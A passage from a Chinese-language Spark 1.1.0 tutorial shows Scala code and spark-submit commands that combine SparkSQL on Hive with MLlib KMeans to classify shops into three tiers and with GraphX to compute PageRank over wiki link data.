sql("select c.theyear,count(distinct a.ordernumber),sum(b.amount) from tbStock a join tbStockDetail b on a.ordernumber=b.ordernumber join tbDate c on a.dateid=c.dateid group by c.theyear order by c.theyear")

     .collect().foreach(println)

 

   sc.stop()

 }

}

3.2.2 生成打包文件

按照3.1.3SQL On Spark方法进行打包

3.2.3 运行查看结果

【注】需要启动Hive服务,参见2.3.1

通过如下命令调用打包中的SQLOnSpark方法,运行结果如下:

cd /app/hadoop/spark-1.1.0

bin/spark-submit --master spark://hadoop1:7077 --class class6.HiveOnSpark --executor-memory 1g LearnSpark.jar

通过监控页面看到名为HiveOnSpark的作业运行情况:

3.3 店铺分类

分类在实际应用中非常普遍,比如对客户进行分类、对店铺进行分类等等,对不同类别采取不同的策略,可以有效的降低企业的营运成本、增加收入。机器学习中的聚类就是一种根据不同的特征数据,结合用户指定的类别数量,将数据分成几个类的方法。下面举个简单的例子,按照销售数量和销售金额这两个特征数据,进行聚类,分出3个等级的店铺。

3.3.1 实现代码

import org.apache.log4j.{Level, Logger}

import org.apache.spark.sql.catalyst.expressions.Row

import org.apache.spark.{SparkConf, SparkContext}

import org.apache.spark.sql.hive.HiveContext

import org.apache.spark.mllib.clustering.KMeans

import org.apache.spark.mllib.linalg.Vectors

 

object SQLMLlib {

 def main(args: Array[String]) {

   //屏蔽不必要的日志显示在终端上

   Logger.getLogger("org.apache.spark").setLevel(Level.WARN)

   Logger.getLogger("org.eclipse.jetty.server").setLevel(Level.OFF)

 

   //设置运行环境

   val sparkConf = new SparkConf().setAppName("SQLMLlib")

   val sc = new SparkContext(sparkConf)

   val hiveContext = new HiveContext(sc)

 

   //使用sparksql查出每个店的销售数量和金额

   hiveContext.sql("use hive")

   hiveContext.sql("SET spark.sql.shuffle.partitions=20")

   val sqldata = hiveContext.sql("select a.locationid, sum(b.qty) totalqty,sum(b.amount) totalamount from tbStock a join tbStockDetail b on a.ordernumber=b.ordernumber group by a.locationid")

 

   //将查询数据转换成向量

   val parsedData = sqldata.map {

     case Row(_, totalqty, totalamount) =>

       val features = Array[Double](totalqty.toString.toDouble, totalamount.toString.toDouble)

       Vectors.dense(features)

   }

 

   //对数据集聚类,3个类,20次迭代,形成数据模型

   //注意这里会使用设置的partition数20

   val numClusters = 3

   val numIterations = 20

   val model = KMeans.train(parsedData, numClusters, numIterations)

 

   //用模型对读入的数据进行分类,并输出

   //由于partition没设置,输出为200个小文件,可以使用bin/hdfs dfs -getmerge合并下载到本地

   val result2 = sqldata.map {

     case Row(locationid, totalqty, totalamount) =>

       val features = Array[Double](totalqty.toString.toDouble, totalamount.toString.toDouble)

       val linevectore = Vectors.dense(features)

       val prediction = model.predict(linevectore)

       locationid + " " + totalqty + " " + totalamount + " " + prediction

   }.saveAsTextFile(args(0))

 

   sc.stop()

 }

}

3.3.2 生成打包文件

按照3.1.3SQL On Spark方法进行打包

3.3.3 运行查看结果

通过如下命令调用打包中的SQLOnSpark方法:

cd /app/hadoop/spark-1.1.0

bin/spark-submit --master spark://hadoop1:7077 --class class6.SQLMLlib --executor-memory 1g LearnSpark.jar /class6/output1

运行过程,可以发现聚类过程都是使用20个partition:

查看运行结果,分为20个文件存放在HDFS中

使用getmerge将结果转到本地文件,并查看结果:

cd /home/hadoop/upload

hdfs dfs -getmerge /class6/output1 result.txt

最后使用R做示意图,用3种不同的颜色表示不同的类别。

3.4 PageRank

PageRank,即网页排名,又称网页级别、Google左侧排名或佩奇排名,是Google创始人拉里·佩奇和谢尔盖·布林于1997年构建早期的搜索系统原型时提出的链接分析算法。目前很多重要的链接分析算法都是在PageRank算法基础上衍生出来的。PageRank是Google用于用来标识网页的等级/重要性的一种方法,是Google用来衡量一个网站的好坏的唯一标准。在揉合了诸如Title标识和Keywords标识等所有其它因素之后,Google通过PageRank来调整结果,使那些更具“等级/重要性”的网页在搜索结果中令网站排名获得提升,从而提高搜索结果的相关性和质量。

Spark GraphX引入了google公司的图处理引擎pregel,可以方便的实现PageRank的计算。

3.4.1 创建表

下面实例采用的数据是wiki数据中含有Berkeley标题的网页之间连接关系,数据为两个文件:graphx-wiki-vertices.txt和graphx-wiki-edges.txt,可以分别用于图计算的顶点和边。把这两个文件上传到本地文件系统/home/hadoop/upload/class6目录中(注:这两个文件可以从该系列附属资源/data/class6中获取)

第一步  上传数据

第二步  启动SparkSQL

参见第6课《SparkSQL(一)--SparkSQL简介》3.2.3启动SparkSQL

$cd /app/hadoop/spark-1.1.0

$bin/spark-sql --master spark://hadoop1:7077 --executor-memory 1g

第三步  定义表并加载数据

创建vertices和edges两个表并加载数据:

spark-sql>show databases;

spark-sql>use hive;

spark-sql>CREATE TABLE vertices(ID BigInt,Title String) ROW FORMAT DELIMITED FIELDS TERMINATED BY '\t' LINES TERMINATED BY '\n'; LOAD DATA LOCAL INPATH '/home/hadoop/upload/class6/graphx-wiki-vertices.txt' INTO TABLE vertices;

spark-sql>CREATE TABLE edges(SRCID BigInt,DISTID BigInt) ROW FORMAT DELIMITED FIELDS TERMINATED BY '\t' LINES TERMINATED BY '\n'; LOAD DATA LOCAL INPATH '/home/hadoop/upload/class6/graphx-wiki-edges.txt' INTO TABLE edges;

查看创建结果

spark-sql>show tables;

3.4.2 实现代码

import org.apache.log4j.{Level, Logger}

import org.apache.spark.sql.hive.HiveContext

import org.apache.spark.{SparkContext, SparkConf}

import org.apache.spark.graphx._

import org.apache.spark.sql.catalyst.expressions.Row

 

object SQLGraphX {

 def main(args: Array[String]) {

   //屏蔽日志

   Logger.getLogger("org.apache.spark").setLevel(Level.WARN)

   Logger.getLogger("org.eclipse.jetty.server").setLevel(Level.OFF)

 

   //设置运行环境

   val sparkConf = new SparkConf().setAppName("PageRank")

   val sc = new SparkContext(sparkConf)

   val hiveContext = new HiveContext(sc)

 

   //使用sparksql查出每个店的销售数量和金额

   hiveContext.sql("use hive")

   val verticesdata = hiveContext.sql("select id, title from vertices")

   val edgesdata = hiveContext.sql("select srcid,distid from edges")

 

   //装载顶点和边

   val vertices = verticesdata.map { case Row(id, title) => (id.toString.toLong, title.toString)}

   val edges = edgesdata.map { case Row(srcid, distid) => Edge(srcid.toString.toLong, distid.toString.toLong, 0)}

 

   //构建图

   val graph = Graph(vertices, edges, "").persist()

 

   //pageRank算法里面的时候使用了cache(),故前面persist的时候只能使用MEMORY_ONLY

   println("**********************************************************")

   println("PageRank计算,获取最有价值的数据")

   println("**********************************************************")

   val prGraph = graph.pageRank(0.001).cache()

 

   val titleAndPrGraph = graph.outerJoinVertices(prGraph.vertices) {

     (v, title, rank) => (rank.getOrElse(0.0), title)

   }

 

   titleAndPrGraph.vertices.top(10) {

     Ordering.by((entry: (VertexId, (Double, String))) => entry._2._1)

   }.foreach(t => println(t._2._2 + ": " + t._2._1))

 

   sc.stop()

 }

}

3.4.3 生成打包文件

按照3.1.3SQL On Spark方法进行打包

3.4.4 运行查看结果

通过如下命令调用打包中的SQLOnSpark方法:

cd /app/hadoop/spark-1.1.0

bin/spark-submit --master spark://hadoop1:7077 --class class6.SQLGraphX --executor-memory 1g LearnSpark.jar

运行结果:

3.5 小结

在现实数据处理过程中,这种涉及多个系统处理的场景很多。通常各个系统之间的数据通过磁盘落地再交给下一个处理系统进行处理。对于Spark来说,通过多个组件的配合,可以以流水线的方式来处理数据。从上面的代码可以看出,程序除了最后有磁盘落地外,都是在内存中计算的。避免了多个系统中交互数据的落地过程,提高了效率。这才是spark生态系统真正强大之处:One stack rule them all。另外sparkSQL+sparkStreaming可以架构当前非常热门的Lambda架构体系,为CEP提供解决方案。也正是如此强大,才吸引了广大开源爱好者的目光,促进了Spark生态的高速发展。

Viewing all 532 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>